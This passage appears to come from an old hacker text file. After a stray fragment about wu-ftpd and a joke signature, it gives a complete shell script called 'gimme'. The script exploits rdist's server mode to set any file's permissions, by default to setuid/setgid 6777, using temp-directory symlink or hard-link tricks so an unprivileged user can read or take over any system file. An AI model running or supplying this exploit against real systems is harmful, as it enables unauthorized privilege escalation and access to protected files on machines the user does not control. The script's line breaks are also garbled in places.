if you trust me ;-) An arch search for wu-ftpd-2.4 will give you
sites too.
I can remember that I got it that way.
$) Henri Karrenbeld
-----------------------------------------------------------------------------
Hardware, n.:
The parts of a
computer system that can be kicked.
-----------------------------------------------------------------------------
A Shell Script Called gimme,
Used To Read Any System File
----------------cut here
#! /bin/sh
# GIMME - "gimme' a file"
# Demonstrate rdist's ability to give me permission to access
anything.
#
# gimme <pathname> [<permission> [<directory>]]
# <pathname> is the
target file.
# <permission> is the
octal mode to which the file access permission
#
should be set. Note that this may not be effective unless
#
either the SUID (4000) or SGID (2000) bits are also requested.
# <directory> is the
target directory for rdist to use if a hard
#
link is desired. Note that the user must have permission
#
to create this directory, it must be on the same filesystem
#
as the target file, and the target file must not be a
#
directory. This option is necessary to change the ownership
#
of the target if chown() of a symbolic link modifies the
#
link itself, and not the file it refers to.
#
dirname=gimme$$
deftemp=/tmp
defperm=6777
if [ $1x = x ]; then
echo "Usage: $0
<pathname> [<permission> [<directory>]]"
>&2
exit 1
fi
if [ $2x != x ]; then
perm=$2
else
perm=$defperm
fi
if [ $3x != x ]; then
link="ln"
temp=$3/$dirname
target=$1
else
link="ln -s"
temp=$deftemp/$dirname
case $1 in
/*)
target=$1
;;
*)
target=`pwd`/$1
;;
esac
fi
trap "rm -fr $temp; exit 1" 1 2 15
umask 66
mkdir $temp; if [ $? != 0 ]; then
exit 1
fi
set `whoami` $LOGNAME
user=$1
set daemon `groups`
while [ $# != 1 ]; do
shift
done
group=$1
(
echo
"t$temp/something"
echo "R0 $perm 1
0 $user $group "
while [ ! -f
$temp/rdist* ]; do
sleep 1
done
set $temp/rdist*
rm -f $1
if $link $target $1
>&2; then
echo "" | dd bs=3 conv=sync 2>/dev/null
echo ""
echo 0 > $temp/status
else
echo 1 > $temp/status
fi
exit
) | rdist -Server
status=`cat $temp/status`
rm -fr $temp
exit $status
-----------------------------cut here